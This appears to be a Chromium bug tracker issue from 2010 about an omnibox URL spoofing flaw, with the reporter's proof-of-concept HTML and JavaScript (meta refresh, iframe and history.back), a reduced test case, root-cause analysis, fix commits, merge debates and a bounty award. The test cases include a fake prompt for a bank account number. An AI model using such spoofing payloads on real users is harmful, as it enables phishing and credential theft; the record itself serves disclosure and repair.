New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 51680 link

Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Last visit > 30 days ago
Closed: Sep 2010
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: 1
Type: Bug-Security
M-7

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Omnibox url spoofing on pending events in page unload

Reported by kuz...@gmail.com, Aug 10 2010

Issue description

<META HTTP-EQUIV="refresh" CONTENT="0;url=index.htm">  <!-- if CONTENT >1 address bar will not dispaly chrome://newtab/ -->
<iframe src="spoof.htm"></iframe>
index.htm
====================
<script>
setTimeout('sleep()',500);
alert(2); //alert twice
function sleep()
{
document.write("123<br>");
var mes = prompt('Dear user:\nI need your Bank account number','');
document.write(mes+"<br>");
}
</script>

spoof.htm
===========
<script>
document.documentURI=eval();
history.back(null)
//debug alert(1)
</script>

put index.htm spoof.htm 127.0.0.1
open a new tab visit http://127.0.0.1
 
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit Mstone-5 SecSeverity-Medium
Status: Available
Summary: Omnibox url spoofing with dialog boxes open on page unload
Darin, Mihai, Brett, any idea who can be a good owner for this. 

Lets say you navigate to a site like google.com. Then, lets visit the evil site - http://infernohacks.com/t/index.htm . Here is what happens.

1. An alert dialog appears with number 2.
2. Click on OK.
3. See the domain changed to the last visited url (google.com).
4. The page is still processing events from evil site. 
5. You will see another alert dialog. 
6. Click on OK.
7. You will see a prompt with the document.write contents. (exploit does not work if the document.writes are removed)

Comment 3 Deleted

Comment 4 Deleted

Comment 5 Deleted

Comment 6 Deleted

Comment 7 Deleted

Comment 8 Deleted

Comment 9 by jsc...@chromium.org, Aug 11 2010

There's some timing issues that I don't quite understand. If I use the http://infernohacks.com/t/index.htm test case, then I can wait as long as I want on the first alert and the bug still happens. I copied the test case (index.htm and spoof.htm to http://persistent.info/webkit/test-cases/inferno/index.htm), but there I have to dismiss the first alert pretty quickly, otherwise the navigation happens as expected.

I have a modified test case at http://persistent.info/webkit/test-cases/url-spoof/index.htm which logs the time that the first alert was visible, and it looks like it needs to be visible for < 500ms, otherwise the navigation happens as expected.

Since this involves a <meta> refresh with a <1 second timeout, the fact that doesn't generate a history entry may also be relevant: http://trac.webkit.org/browser/trunk/WebCore/loader/RedirectScheduler.cpp#L244

Comment 11 Deleted

Comment 12 Deleted

Kuzzcc, too many comments and unhelpful comments just make it harder for us to do our job. please make fewer comments and not repeat testcases. Also, your comment in #12 for popup blocker is not a issue since user is manually running the command in devtools (and is unrelated to this issue).

The bug is more serious than we earlier thought. I have found a much more reliable and reduced testcase which does not require any alert and gets rid of many extra statements.
---------
index.htm
---------
<META HTTP-EQUIV="refresh" CONTENT="0;url=index.htm">
<iframe src="spoof.htm"></iframe>
<script>
setTimeout(function(){},50);
</script>
---------
spoof.htm
---------
<script>
history.back(null);
</script>

----try it on infernohacks.com/t/index.htm [first go to any site e.g. www.google.com]----. if does not reproduce, please clear your cache.

Darin, Brett, can you please to find an owner for this or point us someplace where the issue might be.
It does seem to have some similarity to http://code.google.com/p/chromium/issues/detail?id=43967. so ccing +rohitrao, +shess.

Note that in this bug, you can spoof the address bar but only to a site that exists in your history. so, secseverity-medium instead of high.

Comment 16 Deleted

Comment 17 Deleted

Summary: Omnibox url spoofing on pending events in page unload
kuzzcc, this bug is not about popup blocker bypass, it is about url bar spoofing.i have reduced it down to a workable state in comment #13. your new testcase in comment #17 (which just adds a window.open to google.com) is a popup blocker bypass for chrome v5 (does not affect v6 trunk). it is only reproducible if you open the attacker's evil site url directly in url bar. (on a new tab page). it does not reproduce if you already visited some site on that tab. we had some popup blocker issues in v5, that got fixed recently, so that is why it does not reproduce on trunk.

Please note that mixing the url bar spoofing bug (far far more important) and popup blocker bypass bug (which is just v5 and only reproduces on typing url in a new tag page) has created too much confusion. I have been trying to get attention of Darin and Brett to help workout the owner for url bar spoofing issue, but too many comments and mixing of issues has already spammed everyone. 

If you come across any new issue, please file a new bug.

Status: Started
I'm starting to look at this.
I keep trying to look at this but I'm realistically too overloaded right now and I haven't gotten enough time to make any progress.

I suggest Jay who's done a bunch with TabContents, or Mark or Pinkerton, who are looking at refactoring this code.
I can repro with inferno reduced case (see 13).
What happens is that the history.back() causes the NavigationController to set the pending entry to google.com.
But by the time the renderer loads that entry, the reload as already happened.
The NavigationController ends up getting (in NavigationController::RendererDidNavigateToExistingPage) committing the navigation but does not discard the pending entry, so it still looks as if we are on google.com.
There is some code in NavigationController::RendererDidNavigateToExistingPage to only discard the pending entry if it is the entry we are navigating to. If I discard it every time, it fixes this bug but causes a regression in the NavigationControllerTest.Back_OtherBackPending unit-test.
I need to figure-out what the right behavior is.


I can repro with inferno reduced case (see 13).
What happens is that the history.back() causes the NavigationController to set the pending entry to google.com.
But by the time the renderer loads that entry, the reload has already happened.
The NavigationController ends up getting (in NavigationController::RendererDidNavigateToExistingPage) committing the navigation but does not discard the pending entry, so it still looks as if we are on google.com.
There is some code in NavigationController::RendererDidNavigateToExistingPage to only discard the pending entry if it is the entry we are navigating to. If I discard it every time, it fixes this bug but causes a regression in the NavigationControllerTest.Back_OtherBackPending unit-test.
I need to figure-out what the right behavior is.


Labels: -Mstone-5 Mstone-6
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=58261 

------------------------------------------------------------------------
r58261 | jcivelli@chromium.org | 2010-09-01 16:01:51 -0700 (Wed, 01 Sep 2010) | 8 lines
Changed paths:
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/back_forward_menu_model_unittest.cc?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/renderer_host/test/test_render_view_host.cc?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/sessions/tab_restore_service_browsertest.cc?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/navigation_controller_unittest.cc?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/render_view_host_manager_unittest.cc?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/tab_contents.cc?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/tab_contents.h?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/test_tab_contents.cc?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/test_tab_contents.h?r1=58261&r2=58260
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/translate/translate_manager_unittest.cc?r1=58261&r2=58260

Don't create pending entries when a navigation is initiated by the page.
If the page reloads while such a navigation happens, we could end up with the wrong pending entry.
Also make sure TestTabContents::NavigateAndCommit() does commit on the right RVH.

BUG= 51680 
TEST=See bug for steps.

Review URL: http://codereview.chromium.org/3257002
------------------------------------------------------------------------

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Status: WillMerge
Labels: -Mstone-6 Mstone-7
Status: FixUnreleased
Fix looks pretty complicated for v6 merge. Moving to v7 and fixunreleased.
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=58701 

------------------------------------------------------------------------
r58701 | jcivelli@chromium.org | 2010-09-07 09:29:54 -0700 (Tue, 07 Sep 2010) | 12 lines
Changed paths:
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/back_forward_menu_model_unittest.cc?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/renderer_host/test/test_render_view_host.cc?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/sessions/tab_restore_service_browsertest.cc?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/navigation_controller_unittest.cc?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/render_view_host_manager_unittest.cc?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/tab_contents.cc?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/tab_contents.h?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/test_tab_contents.cc?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/tab_contents/test_tab_contents.h?r1=58701&r2=58700
   M http://src.chromium.org/viewvc/chrome/trunk/src/chrome/browser/translate/translate_manager_unittest.cc?r1=58701&r2=58700

Relanding this:

Don't create pending entries when a navigation is initiated by the page.
If the page reloads while such a navigation happens, we could end up with the wrong pending entry. Also make sure TestTabContents::NavigateAndCommit() does commit on the right RVH.

BUG= 51680 
TEST=See bug for steps.
TBR=creis
Review URL: http://codereview.chromium.org/3257002


Review URL: http://codereview.chromium.org/3346005
------------------------------------------------------------------------

 Issue 54262  has been merged into this issue.
Status: WillMerge
Looks like we just branched before r58701 for v7 :(. Moving status back to WillMerge.
Jay, we should merge this to 517 [it has stayed on the trunk for a while now]. This bug is an omnibox spoof and  issue 54262  is the spoof of ssl indicator which is quite serious. We didn't merge to v6 because we wanted this change to stay on the trunk for some time.
Status: FixUnreleased
Merged in r60963
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=60963

------------------------------------------------------------------------
r60963 | inferno@chromium.org | Wed Sep 29 10:59:06 PDT 2010

Changed paths:
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/navigation_controller_unittest.cc?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/test_tab_contents.cc?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/tab_contents.cc?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/back_forward_menu_model_unittest.cc?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/renderer_host/test/test_render_view_host.cc?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/test_tab_contents.h?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/tab_contents.h?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/sessions/tab_restore_service_browsertest.cc?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/render_view_host_manager_unittest.cc?r1=60963&r2=60962&pathrev=60963
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/translate/translate_manager_unittest.cc?r1=60963&r2=60962&pathrev=60963

Merge 58701 - Relanding this:

Don't create pending entries when a navigation is initiated by the page.
If the page reloads while such a navigation happens, we could end up with the wrong pending entry. Also make sure TestTabContents::NavigateAndCommit() does commit on the right RVH.

BUG= 51680 
TEST=See bug for steps.
TBR=creis
Review URL: http://codereview.chromium.org/3257002


Review URL: http://codereview.chromium.org/3346005

Review URL: http://codereview.chromium.org/3537005
------------------------------------------------------------------------
Status: WillMerge
Had a chat with Anthony, this is a high risk merge for the 517 beta releasing soon. We will get it in m8, but reverting my r60963 for now.
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=60965

------------------------------------------------------------------------
r60965 | inferno@chromium.org | Wed Sep 29 11:09:47 PDT 2010

Changed paths:
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/navigation_controller_unittest.cc?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/test_tab_contents.cc?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/tab_contents.cc?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/back_forward_menu_model_unittest.cc?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/renderer_host/test/test_render_view_host.cc?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/test_tab_contents.h?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/tab_contents.h?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/sessions/tab_restore_service_browsertest.cc?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/render_view_host_manager_unittest.cc?r1=60965&r2=60964&pathrev=60965
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/translate/translate_manager_unittest.cc?r1=60965&r2=60964&pathrev=60965

Revert 60963 - Merge 58701 - Relanding this:

Don't create pending entries when a navigation is initiated by the page.
If the page reloads while such a navigation happens, we could end up with the wrong pending entry. Also make sure TestTabContents::NavigateAndCommit() does commit on the right RVH.

BUG= 51680 
TEST=See bug for steps.
TBR=creis
Review URL: http://codereview.chromium.org/3257002


Review URL: http://codereview.chromium.org/3346005

Review URL: http://codereview.chromium.org/3537005

TBR=inferno@chromium.org
Review URL: http://codereview.chromium.org/3585002
------------------------------------------------------------------------
Labels: ReleaseBlock-Stable
Please merge this to 517 branch. Thanks.

Reproducible with Google Chrome	7.0.517.36 (Official Build 61761)
Labels: -Mstone-7 Mstone-8
Status: FixUnreleased
 Issue 58672  has been merged into this issue.
 Issue 54261  has been merged into this issue.
Labels: -Mstone-8 Mstone-7
Status: WillMerge
Apparently the guy who has reported multiple (including one public) dupes of this bug also publicly disclosed it back on 8 September in the following blog post:
https://www.alternativ-testing.fr/blog/index.php?post/2010/Google-Chrome-Location-bar-Spoofing

I'm going to flip this back as a merge candidate for m7. What were the major issues that prevented us from merging in the first place?
I looked and i think it wasn't really a compile failure on mac - http://chrome-master.mtv:8010/builders/google%20chrome%20mac%20beta/builds/904. So, we should be ok on the merge for 517.

Waiting for Anthony's final call, given the exploit is public.
Labels: -Mstone-7 -ReleaseBlock-Stable Mstone-8
Status: FixUnreleased
Feel free to talk to me offline, but the very short of it is that we're not going to play w/ the Omnibox/navigation controller 7 days before a release.  The risk in this case exceeds the benefit since the next beta branch will be cut in less than 36 hours.
The following revision refers to this bug:
    http://src.chromium.org/viewvc/chrome?view=rev&revision=62309

------------------------------------------------------------------------
r62309 | inferno@chromium.org | Tue Oct 12 11:34:32 PDT 2010

Changed paths:
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/navigation_controller_unittest.cc?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/test_tab_contents.cc?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/tab_contents.cc?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/back_forward_menu_model_unittest.cc?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/renderer_host/test/test_render_view_host.cc?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/test_tab_contents.h?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/tab_contents.h?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/sessions/tab_restore_service_browsertest.cc?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/tab_contents/render_view_host_manager_unittest.cc?r1=62309&r2=62308&pathrev=62309
 M http://src.chromium.org/viewvc/chrome/branches/517/src/chrome/browser/translate/translate_manager_unittest.cc?r1=62309&r2=62308&pathrev=62309

Merge 58701 - Relanding this:

Don't create pending entries when a navigation is initiated by the page.
If the page reloads while such a navigation happens, we could end up with the wrong pending entry. Also make sure TestTabContents::NavigateAndCommit() does commit on the right RVH.

BUG= 51680 
TEST=See bug for steps.
TBR=creis
Review URL: http://codereview.chromium.org/3257002


Review URL: http://codereview.chromium.org/3346005


Review URL: http://codereview.chromium.org/3655007
------------------------------------------------------------------------
Labels: -Mstone-8 Mstone-7 ReleaseBlock-Stable
Talked with Anthony on this merge. Putting labels back.
Labels: reward-topanel
Inferno or Anthony - can you confirm this is merged for the first M7 stable release?
Confirmed merged for M7.
Labels: -reward-topanel reward-500 reward-unpaid
@kuzzcc: congratulations! We were eventually able to derive a nice URL spoof out of this. We will provisionally reward this at the $500 level.
----
Boilerplate text: please do NOT publicly disclose details until a fix has been
released to our users. Public disclosure may cancel the provisional reward.
----

Comment 50 by kuz...@gmail.com, Oct 16 2010

Thanks for the reward
Labels: -reward-unpaid
Payment is in the electronic system.
With a clear profile...

Navigating to google.com and then to http://infernohacks.com/t/index.htm, the renderer stays on http://infernohacks.com/t/index.htm

This is with Google Chrome 7.0.517.44 (Official Build 64615)

Labels: Type-Security
Labels: SecImpacts-Stable
Batch update.
Labels: -Restrict-View-SecurityNotify
Lifting view restrictions.
Status: Fixed
Project Member

Comment 58 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 59 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Area-WebKit -Mstone-7 -SecSeverity-Medium -Type-Security -SecImpacts-Stable Cr-Content Security-Impact-Stable M-7 Security-Severity-Medium Type-Bug-Security
Project Member

Comment 60 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Project Member

Comment 61 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 62 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-Medium Security_Severity-Medium
Project Member

Comment 63 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 64 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 65 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic

Sign in to add a comment